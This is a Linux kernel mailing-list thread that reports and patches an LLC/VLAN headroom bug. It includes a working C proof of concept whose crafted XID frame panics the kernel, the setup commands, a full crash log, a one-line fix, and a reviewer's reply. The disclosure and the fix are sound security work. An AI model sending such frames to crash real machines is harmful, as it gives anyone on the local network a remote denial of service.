llc: reserve device headroom for allocated frames
Subsystems (3)
cover llc: reserve device headroom for allocated frames
From: Zixuan Chai <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in net/llc/llc_sap.c.
llc_mac_hdr_init() invokes the selected Ethernet device's header_ops without verifying that the skb has enough headroom for the device's actual link-layer header. LLC2 response paths allocate frames through llc_alloc_frame(), which reserves only ETH_HLEN bytes for every ARPHRD_ETHER device. On a non-offloaded VLAN device, vlan_dev_hard_header() instead pushes a four-byte VLAN header followed by the lower device's Ethernet header. After the LLC header consumes its reservation, the Ethernet push crosses skb->head and invokes skb_under_panic(). With CONFIG_LLC2 enabled, a remote layer-2 peer can send a NULL-DSAP XID or TEST command through such a VLAN and make the automatic station response crash the kernel.
The fix replaces the device-type-specific header length with LL_RESERVED_SPACE(dev), preserving the LLC header reservation while accounting for stacked device headers.
Reproducer:
Run the following commands as root in the QEMU guest. They create the veth/VLAN/macvlan topology, build the sender, and transmit one VLAN LLC XID frame:
ip link add vethA type veth peer name vethB ethtool -K vethA tx-vlan-offload off ethtool -K vethB tx-vlan-offload off
ip link add link vethA name vethA.100 type vlan id 100 ip link set vethA.100 type vlan reorder_hdr off ip link add link vethB name vethB.100 type vlan id 100 ip link set vethB.100 type vlan reorder_hdr off
# A macvlan child suppresses RX tag reinsertion on vethA.100 while # unmatched unicast frames still stay on the lower VLAN device. ip link add link vethA.100 name mv0 type macvlan mode bridge
ip link set vethA up
ip link set vethB up
ip link set vethA.100 up
ip link set vethB.100 up
ip link set mv0 up
cc -O2 -Wall -Wextra -o /tmp/llc-vlan-sender \
/tmp/llc-vlan-sender.c
/tmp/llc-vlan-sender
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void)
{
unsigned char frame[60] = { 0 };
struct ifreq ifr;
struct sockaddr_ll addr;
int fd;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0) {
perror("socket");
return 1;
}
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "vethA", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) {
perror("vethA");
return 1;
}
memcpy(frame, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "vethB", IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) {
perror("vethB");
return 1;
}
memcpy(frame + ETH_ALEN, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
/* 802.1Q VLAN header, VLAN ID 100. */
frame[12] = 0x81;
frame[13] = 0x00;
frame[14] = 0x00;
frame[15] = 0x64;
/* LLC XID payload. */
frame[16] = 0x00;
frame[17] = 0x06;
frame[18] = 0x00;
frame[19] = 0x00;
frame[20] = 0xbf;
frame[21] = 0x81;
frame[22] = 0x00;
frame[23] = 0x00;
memset(&addr, 0, sizeof(addr));
addr.sll_family = AF_PACKET;
addr.sll_protocol = htons(ETH_P_ALL);
addr.sll_ifindex = if_nametoindex("vethB");
addr.sll_halen = ETH_ALEN;
memcpy(addr.sll_addr, frame, ETH_ALEN);
if (sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("sendto");
return 1;
}
puts("sent VLAN LLC XID frame");
return 0;
}------END PoC--------
----BEGIN crash log----
[ 168.080941][ C1] skbuff: skb_under_panic: text:ffffffff898c83c7 len:24 put:14 head:ff11000037a4d6c0 data:ff11000037a4d6bc tail:0x14 end:0x180 dev:vethA.100 [ 168.082215][ C1] ------------[ cut here ]------------ [ 168.082229][ C1] kernel BUG at net/core/skbuff.c:214! [ 168.082320][ C1] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 168.088321][ C1] CPU: 1 UID: 0 PID: 9462 Comm: llc-vlan-sender Not tainted 7.3.0-rc3-00344-g1e24c4f2ee44 #1 PREEMPT(full) [ 168.090309][ C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 168.091796][ C1] RIP: 0010:skb_panic+0x157/0x1d0 [ 168.094877][ C1] Code: b6 04 01 84 c0 74 04 3c 03 7e 21 41 56 8b 4b 70 45 89 e8 48 c7 c7 e0 98 f9 8c 41 57 56 48 89 ee 52 4c 89 e2 e8 3a fb 3c f8 90 <0f> 0b 4c 89 4c 24 10 48 89 54 24 08 48 89 34 24 e8 b4 b6 d0 f8 4c [ 168.097867][ C1] RSP: 0018:ffa00000001c89a0 EFLAGS: 00010282 [ 168.098774][ C1] RAX: 000000000000008a RBX: ff1100004b938c80 RCX: 0000000000000101 [ 168.099945][ C1] RDX: 0000000000000000 RSI: ffffffff819fd610 RDI: 0000000000000007 [ 168.101104][ C1] RBP: ffffffff8cf9bbc0 R08: 0000000000000101 R09: fff3fc00000390ee [ 168.102247][ C1] R10: 8000000000000101 R11: 0000000000000000 R12: ffffffff898c83c7 [ 168.103336][ C1] R13: 000000000000000e R14: ff1100004b9fc120 R15: 0000000000000180 [ 168.104466][ C1] FS: 00007fdd92b1e540(0000) GS:ff110000d597b000(0000) knlGS:0000000000000000 [ 168.105708][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 168.106601][ C1] CR2: 00005608f6598011 CR3: 000000004dad0000 CR4: 0000000000753ef0 [ 168.107647][ C1] PKRU: 55555554 [ 168.108128][ C1] Call Trace: [ 168.108583][ C1] <IRQ> [ 168.108980][ C1] ? find_held_lock+0x2b/0x80 [ 168.109635][ C1] ? eth_header+0x37/0x200 [ 168.110234][ C1] skb_push+0xcc/0xf0 [ 168.110753][ C1] eth_header+0x37/0x200 [ 168.111307][ C1] ? __pfx_eth_header+0x10/0x10 [ 168.111935][ C1] vlan_dev_hard_header+0x13c/0x410 [ 168.112606][ C1] ? __pfx_vlan_dev_hard_header+0x10/0x10 [ 168.113333][ C1] llc_mac_hdr_init+0x12a/0x190 [ 168.113951][ C1] llc_station_rcv+0x5f4/0xee0 [ 168.114520][ C1] ? stack_trace_save+0x8e/0xc0 [ 168.115090][ C1] ? __pfx_llc_station_rcv+0x10/0x10 [ 168.115713][ C1] ? __pfx_llc_station_rcv+0x10/0x10 [ 168.116328][ C1] llc_rcv+0x9d8/0xc20 [ 168.116814][ C1] ? __pfx_llc_rcv+0x10/0x10 [ 168.117362][ C1] __netif_receive_skb_one_core+0x1b4/0x1e0 [ 168.118049][ C1] ? __pfx___netif_receive_skb_one_core+0x10/0x10 [ 168.118763][ C1] ? process_backlog+0x330/0x1540 [ 168.119334][ C1] ? process_backlog+0x330/0x1540 [ 168.119901][ C1] __netif_receive_skb+0x1d/0x160 [ 168.120483][ C1] process_backlog+0x382/0x1540 [ 168.121037][ C1] __napi_poll.constprop.0+0xb3/0x540 [ 168.121651][ C1] net_rx_action+0x9b1/0xea0 [ 168.122172][ C1] ? __pfx_net_rx_action+0x10/0x10 [ 168.122724][ C1] ? kvm_sched_clock_read+0x16/0x30 [ 168.123285][ C1] ? sched_clock+0x39/0x60 [ 168.123765][ C1] ? sched_clock_cpu+0x6c/0x550 [ 168.124288][ C1] ? __pfx_sched_clock_cpu+0x10/0x10 [ 168.124858][ C1] ? __pfx_sched_clock_cpu+0x10/0x10 [ 168.125422][ C1] ? __dev_queue_xmit+0xe49/0x4350 [ 168.125992][ C1] handle_softirqs+0x1d3/0x990 [ 168.126495][ C1] ? __dev_queue_xmit+0xe49/0x4350 [ 168.127004][ C1] do_softirq+0xad/0xe0 [ 168.127436][ C1] </IRQ> [ 168.127725][ C1] <TASK> [ 168.128018][ C1] __local_bh_enable_ip+0x109/0x130 [ 168.128545][ C1] ? __dev_queue_xmit+0xe49/0x4350 [ 168.129064][ C1] __dev_queue_xmit+0xe5e/0x4350 [ 168.129563][ C1] ? __might_fault+0x138/0x190 [ 168.130051][ C1] ? __pfx___dev_queue_xmit+0x10/0x10 [ 168.130588][ C1] ? __might_fault+0xe0/0x190 [ 168.131049][ C1] ? __sanitizer_cov_trace_switch+0x54/0x90 [ 168.131624][ C1] ? __vlan_get_protocol_offset+0x232/0x330 [ 168.132202][ C1] ? __pfx___vlan_get_protocol_offset+0x10/0x10 [ 168.132801][ C1] ? __pfx_ref_tracker_alloc+0x10/0x10 [ 168.133955][ C1] ? packet_parse_headers+0x29e/0x840 [ 168.134470][ C1] ? __pfx_packet_parse_headers+0x10/0x10 [ 168.135005][ C1] packet_xmit+0x247/0x370 [ 168.135432][ C1] packet_sendmsg+0x2e91/0x4ca0 [ 168.135900][ C1] ? sock_has_perm+0x21f/0x2c0 [ 168.136358][ C1] ? __pfx_sock_has_perm+0x10/0x10 [ 168.136840][ C1] ? __sanitizer_cov_trace_switch+0x54/0x90 [ 168.137399][ C1] ? __pfx_packet_sendmsg+0x10/0x10 [ 168.137892][ C1] ? selinux_socket_sendmsg+0x18f/0x2e0 [ 168.138407][ C1] ? __pfx_packet_sendmsg+0x10/0x10 [ 168.138880][ C1] __sys_sendto+0x4c3/0x510 [ 168.139307][ C1] ? __pfx___sys_sendto+0x10/0x10 [ 168.139782][ C1] ? fput_close_sync+0x114/0x210 [ 168.140240][ C1] ? __pfx_fput_close_sync+0x10/0x10 [ 168.140720][ C1] ? dnotify_flush+0x79/0x4c0 [ 168.141157][ C1] __x64_sys_sendto+0xe0/0x1c0 [ 168.141601][ C1] ? lockdep_hardirqs_on+0x7d/0x110 [ 168.142070][ C1] do_syscall_64+0x128/0x7b0 [ 168.142484][ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 168.142995][ C1] RIP: 0033:0x7fdd92a46046 [ 168.143383][ C1] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89 [ 168.145004][ C1] RSP: 002b:00007ffdf2380348 EFLAGS: 00000246 ORIG_RAX: 000000000000002c [ 168.145729][ C1] RAX: ffffffffffffffda RBX: 00007ffdf2380378 RCX: 00007fdd92a46046 [ 168.146407][ C1] RDX: 000000000000003c RSI: 00007ffdf23803a0 RDI: 0000000000000003 [ 168.147082][ C1] RBP: 0000000000000003 R08: 00007ffdf2380350 R09: 0000000000000014 [ 168.147764][ C1] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffdf2380350 [ 168.148436][ C1] R13: 00007ffdf23803a0 R14: 0000000000000000 R15: 0000000000000000 [ 168.149128][ C1] </TASK> [ 168.149396][ C1] Modules linked in: [ 168.149810][ C1] ---[ end trace 0000000000000000 ]--- [ 168.150290][ C1] RIP: 0010:skb_panic+0x157/0x1d0 [ 168.150305][ C1] Code: b6 04 01 84 c0 74 04 3c 03 7e 21 41 56 8b 4b 70 45 89 e8 48 c7 c7 e0 98 f9 8c 41 57 56 48 89 ee 52 4c 89 e2 e8 3a fb 3c f8 90 <0f> 0b 4c 89 4c 24 10 48 89 54 24 08 48 89 34 24 e8 b4 b6 d0 f8 4c [ 168.150333][ C1] RSP: 0018:ffa00000001c89a0 EFLAGS: 00010282 [ 168.150344][ C1] RAX: 000000000000008a RBX: ff1100004b938c80 RCX: 0000000000000101 [ 168.150351][ C1] RDX: 0000000000000000 RSI: ffffffff819fd610 RDI: 0000000000000007 [ 168.150359][ C1] RBP: ffffffff8cf9bbc0 R08: 0000000000000101 R09: fff3fc00000390ee [ 168.150366][ C1] R10: 8000000000000101 R11: 0000000000000000 R12: ffffffff898c83c7 [ 168.150374][ C1] R13: 000000000000000e R14: ff1100004b9fc120 R15: 0000000000000180 [ 168.150381][ C1] FS: 00007fdd92b1e540(0000) GS:ff110000d597b000(0000) knlGS:0000000000000000 [ 168.150394][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 168.150401][ C1] CR2: 00005608f6598011 CR3: 000000004dad0000 CR4: 0000000000753ef0 [ 168.150409][ C1] PKRU: 55555554 [ 168.150415][ C1] Kernel panic - not syncing: Fatal exception in interrupt [ 168.160398][ C1] Kernel Offset: disabled [ 168.160776][ C1] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zixuan Chai
Zixuan Chai (1):
llc: reserve device headroom for allocated frames
net/llc/llc_sap.c | 12 +----------- 1 file changed, 2 insertions(+), 12 deletions(-)
--
2.34.1
PATCH 1/1 llc: reserve device headroom for allocated frames
From: Zixuan Chai <[email protected]>
llc_alloc_frame() reserves link-layer headroom using the device type. This is insufficient for stacked Ethernet devices such as VLAN devices, where vlan_dev_hard_header() pushes a VLAN header before the lower device's Ethernet header. An LLC response on such a device can therefore underflow skb headroom in eth_header().
Use LL_RESERVED_SPACE() to account for the device's actual required headroom while preserving the existing reservation for the LLC header.
--- net/llc/llc_sap.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-)
net/llc/llc_sap.c +1 -11
@@ -19,16 +19,6 @@#include <linux/llc.h> #include <linux/slab.h> -static int llc_mac_header_len (unsigned short devtype) -{ -switch (devtype) { -case ARPHRD_ETHER : -case ARPHRD_LOOPBACK : -return sizeof (struct ethhdr ); - } -return 0 ; -} -/** * llc_alloc_frame - allocates sk_buff for frame * @sk: socket to allocate frame to
@@ -45,7 +35,7 @@ struct sk_buff *llc_alloc_frame(struct sock *sk, struct net_device *dev,int hlen = type ==LLC_PDU_TYPE_U ?3 :4 ;struct sk_buff *skb; - hlen +=llc_mac_header_len (dev->type); + hlen +=LL_RESERVED_SPACE (dev); skb =alloc_skb (hlen + data_size,GFP_ATOMIC );if (skb) {
Signature · 1 line
2.34.1
Quoted 44 lines · Ren Wei
From: Zixuan Chai <[email protected]>
llc_alloc_frame()reserves link-layer headroom using the device type. This is insufficient for stacked Ethernet devices such as VLAN devices, wherevlan_dev_hard_header()pushes a VLAN header before the lower device's Ethernet header. An LLC response on such a device can therefore underflow skb headroom ineth_header().Use
LL_RESERVED_SPACE()to account for the device's actual required headroom while preserving the existing reservation for the LLC header.Fixes bf9ae5386bca ("llc: use dev_hard_header")Reported-by VEGA <[email protected]>Assisted-by LLMSigned-off-by Zixuan Chai <[email protected]>Signed-off-by Ren Wei <[email protected]>--- net/llc/llc_sap.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-)net/llc/llc_sap.c +0
-10@@ -19,16 +19,6 @@#include <linux/llc.h> #include <linux/slab.h> -static int llc_mac_header_len (unsigned short devtype) -{ -switch (devtype) { -case ARPHRD_ETHER : -case ARPHRD_LOOPBACK : -return sizeof (struct ethhdr ); - } -return 0 ; -} -/** * llc_alloc_frame - allocates sk_buff for frame * @sk: socket to allocate frame to
net/llc/llc_sap.c struct sk_buff *llc_alloc_frame(struct sock *sk, struct net_device *dev, · line 39
Quoted 6 lines
net/llc/llc_sap.c +1
-1@@ -45,7 +35,7 @@ struct sk_buff *llc_alloc_frame(struct sock *sk, struct net_device *dev,int hlen = type ==LLC_PDU_TYPE_U ?3 :4 ;struct sk_buff *skb; - hlen +=llc_mac_header_len (dev->type); + hlen +=LL_RESERVED_SPACE (dev); skb =alloc_skb (hlen + data_size,GFP_ATOMIC );
Ok, please note:
1. LLC only supports ARPHRD_ETHER and ARPHRD_LOOPBACK (see llc_mac_hdr_init(), llc_ui_bind(), llc_rcv(), etc.), so there is no reason to pretend LLC handles arbitrary device types. Replacing ETH_HLEN with LL_RESERVED_SPACE(dev) while keeping the ARPHRD_ETHER / ARPHRD_LOOPBACK check is fine.
2. Reserving LL_RESERVED_SPACE(dev) at allocation time in llc_alloc_frame() is still not sufficient to prevent skb_under_panic():
- Other callers of llc_mac_hdr_init(), such as br_send_bpdu() in net/bridge/br_stp_bpdu.c, do not use llc_alloc_frame() and only reserve LLC_RESERVE.
- More importantly, device headroom requirements can change dynamically between skb allocation and dev_hard_header() (for instance when toggling VLAN_FLAG_REORDER_HDR, or when bonding/team devices switch slaves/device types on the fly while frames are queued or in flight).
I am sending a patch against vlan_dev_hard_header() in a separate patch